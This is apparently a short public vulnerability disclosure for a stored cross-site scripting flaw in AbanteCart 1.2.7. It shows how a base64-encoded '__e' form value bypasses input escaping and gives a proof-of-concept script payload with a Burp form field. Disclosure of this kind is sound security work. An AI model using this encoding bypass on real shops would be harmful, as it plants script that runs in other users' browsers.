AbanteCart 1.2.7 - Cross-Site Scripting

# Exploit Title: AbanteCart 1.2.7 Stored XSS
# Date: 06-12-2016
# Software Link: http://www.abantecart.com/
# Exploit Author: Kacper Szurek
# Contact: http://twitter.com/KacperSzurek
# Website: http://security.szurek.pl/
# Category: webapps
 
1. Description

By default all user input is escaped using `htmlspecialchars`.

But we can pass `__e` value which is base64 encoded and unfortunatelly those datas are not cleaned.

http://security.szurek.pl/abantecart-127-stored-xss-and-sql-injection.html

2. Proof of Concept

For example `address_1="><script>alert(2);</script>&` can be encoded as: `__e=YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m`.

So create new order and set `address_1` value as `__e` using for example Burp:

```
Content-Disposition: form-data; name="__e"

YWRkcmVzc18xPSI+PHNjcmlwdD5hbGVydCgyKTs8L3NjcmlwdD4m
```